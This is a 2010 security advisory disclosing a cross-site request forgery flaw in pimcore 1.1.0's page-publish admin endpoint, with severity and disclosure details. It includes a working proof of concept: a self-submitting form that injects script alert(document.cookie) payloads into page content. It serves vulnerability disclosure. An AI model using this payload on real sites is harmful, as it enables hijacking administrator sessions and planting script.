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Cross-site Request Forgery (CSRF) in pimcore

Advisory ID:HTB22562
Product:pimcore
Vendor:elements.at New Media Solutions GmbH.
Vulnerable Versions:1.1.0 and probably prior
Tested Version:1.1.0
Advisory Publication:August 2, 2010 [without technical details]
Vendor Notification:August 2, 2010
Public Disclosure:August 16, 2010
Latest Update:August 18, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in pimcore which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in pimcore
The vulnerability exists due to insufficient validation of the request origin in /admin/page/save/task/publish. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/page/save/task/publish" method="post" name="main" >
<input type="hidden" name="data" value='{"headernote": {"data": "Powerful CMS"><script>alert(document.cookie)</script>", "type": "textarea"}, "headline": {"data": "The truth about pimcore", "type": "input"}, "contentblock": {"data": ["1"], "type": "block"}, "blocktypecontentblock1": {"data": null, "type": "select"}, "sublinecontentblock1": {"data": "Content management ala pimcore", "type": "input"}, "contentcontentblock1": {"data": "<p>\n\tPimcore</p>\n\"><script>alert(document.cookie)</script>", "type": "wysiwyg"}}' />
<input type="hidden" name="id" value="1440" />
</form>
<script>
document.main.submit();
</script>

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References:
[1] High-Tech Bridge Advisory HTB22562 - https://www.immuniweb.com/advisory/HTB22562 - Cross-site Request Forgery (CSRF) in pimcore
[2] pimcore - pimcore.org - pimcore is an open-source powerful and robust web-based content and product information management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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